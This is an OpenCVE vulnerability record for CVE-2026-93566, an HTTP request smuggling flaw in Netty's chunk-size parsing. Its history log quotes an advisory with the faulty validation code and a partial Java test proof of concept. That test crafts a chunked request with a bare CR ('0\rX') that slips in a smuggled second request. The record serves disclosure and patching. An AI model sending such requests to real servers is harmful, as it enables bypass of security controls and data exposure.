CVE-2026-93566

  1. OpenCVE
  2. Vulnerabilities (CVE)
  3. CVE-2026-93566
A flaw was found in Netty. A remote attacker could exploit this by sending a specially crafted HTTP request that includes control characters within the chunk-size line. This bypasses the intended strict validation, allowing the attacker to inject arbitrary HTTP requests. This vulnerability can lead to HTTP request smuggling, potentially resulting in information disclosure or other unauthorized actions.

6.5 /10

CVSS v3 : MEDIUM

V3 Legend

Vector :

Exploitability : 3.9 / Impact : 2.5

Attack Vector NETWORK

Attack Complexity LOW

Privileges Required NONE

User Interaction NONE

Confidentiality Impact LOW

Integrity Impact LOW

Availability Impact NONE

Scope UNCHANGED

References
Link Resource
https://access.redhat.com/errata/RHSA-2026:69440
https://access.redhat.com/errata/RHSA-2026:69470
https://access.redhat.com/errata/RHSA-2026:83612
https://access.redhat.com/security/cve/CVE-2026-93566
https://bugzilla.redhat.com/show_bug.cgi?id=2536954
Configurations

No configuration.

History

15 Oct 2026, 17:17

Type Values Removed Values Added
References
  • () https://access.redhat.com/errata/RHSA-2026:83612 -

22 Sep 2026, 19:16

Type Values Removed Values Added
References
  • () https://access.redhat.com/errata/RHSA-2026:69440 -

21 Sep 2026, 18:17

Type Values Removed Values Added
References
  • () https://access.redhat.com/errata/RHSA-2026:69470 -

18 Sep 2026, 21:18

Type Values Removed Values Added
Summary (en) ### Summary Netty skips strict chunk size line validation when the line has no chunk extension (`;`), so a chunk size line containing an embedded bare CR (e.g. `0\rX`) is accepted instead of rejected, enabling HTTP request smuggling. ### Details `io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions` only runs the strict validator `HttpChunkLineValidatingByteProcessor` when a `;` is present: ```java int extensionsStart = line.bytesBefore((byte) ';'); if (extensionsStart == -1) { return; } ``` According to RFC 9112 https://datatracker.ietf.org/doc/html/rfc9112#appendix-A `chunk-size = 1*HEXDIG` ### PoC ```java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "0\rX\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n"; EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, Ch (en) A flaw was found in Netty. A remote attacker could exploit this by sending a specially crafted HTTP request that includes control characters within the chunk-size line. This bypasses the intended strict validation, allowing the attacker to inject arbitrary HTTP requests. This vulnerability can lead to HTTP request smuggling, potentially resulting in information disclosure or other unauthorized actions.

18 Sep 2026, 15:17

Type Values Removed Values Added
New CVE
Information

Published : 2026-09-18 15:17

Updated : 2026-10-15 17:17

NVD link : CVE-2026-93566

Mitre link : CVE-2026-93566

CVE.ORG link : CVE-2026-93566

JSON object : View

Products Affected

No product.

CWE
CWE-1035

OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities